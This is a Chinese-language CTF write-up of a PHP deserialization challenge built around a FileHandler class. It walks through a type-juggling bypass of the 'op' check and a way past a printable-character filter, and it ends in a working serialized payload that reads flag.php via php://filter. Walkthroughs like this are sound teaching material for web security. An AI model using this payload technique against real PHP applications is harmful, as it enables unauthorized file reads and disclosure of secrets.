1. 网页源码
有题目可得这题是一道php反序列化
网页代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
2. 思路
抛去FileHandler
这个类,看最下面首先出现的是get一个参数str
1 2 3 4 5 6
| if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
|
2.1 is_valid()函数
1 2 3 4 5 6
| function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
|
这个函数的意思是判断输入的字符要是ASCII值在32-125之间,该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true,如果不是,就进行返回错误
而上面的语句是get一个参数str,要每个字符都要可以打印,否则反序列化
2.2 FileHandler类
2.2.1 析构函数 __destruct()
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
因为上面的process()函数要分析op的值,这里op使用强类型比较===
判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()
方法。
2.2.2 process()函数
1 2 3 4 5 6 7 8 9 10
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
在process()
方法中,则使用弱类型比较==
判断op的值是否对等于字符串2,若为真,则执行read()
方法与output()
方法。而read方法中,使用file_get_contents()
函数来读取属性filename路径的文件
3. 构建exp
3.1 绕过
3.1.1 绕过op:
如果op===”2”,将其赋为”1”,同时content赋为空,进入process函数,需要注意到的地方是,这里op与”2”比较的时候是强类型比较,进入process函数后,如果op==”1”,则进入write函数,若op==”2”,则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==;
所以我们利用弱类型绕过,只要令op=2,这里的2是整数int。当op=2时,op===”2”为false,op==”2”为true,接着进入read函数
3.1.2 绕过filename
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
3.1.3 绕过is_valid()
$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验,对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符
3.2 构建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2; public $filename="flag.php"; public $content;
} $a=new FileHandler(); echo serialize($a); ?>
|
payload绕过:
1
| ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
|
base64解码
或者上面的filename不用php://filter伪协议进行读取,直接flag.php
然后序列化出来的进行绕过,网页F12查看源码